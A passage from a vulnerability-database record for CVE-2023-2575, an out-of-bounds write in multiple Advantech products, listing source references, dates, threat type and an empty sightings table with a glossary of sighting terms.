"2023-12-07T00:00:00", "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "date": "2023-05-12T16:24:23", "db": "PACKETSTORM", "id": "172307" }, { "date": "2023-05-08T13:15:09.847000", "db": "NVD", "id": "CVE-2023-2575" }, { "date": "2023-05-08T00:00:00", "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2023-05-08T00:00:00", "db": "VULMON", "id": "CVE-2023-2575" }, { "date": "2023-12-07T04:51:00", "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "date": "2023-05-12T18:15:09.827000", "db": "NVD", "id": "CVE-2023-2575" }, { "date": "2023-05-15T00:00:00", "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "remote", "sources": [ { "db": "CNNVD", "id": "CNNVD-202305-381" } ], "trust": 0.6 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Out-of-bounds write vulnerability in multiple Advantech products", "sources": [ { "db": "JVNDB", "id": "JVNDB-2023-009954" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "buffer error", "sources": [ { "db": "CNNVD", "id": "CNNVD-202305-381" } ], "trust": 0.6 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.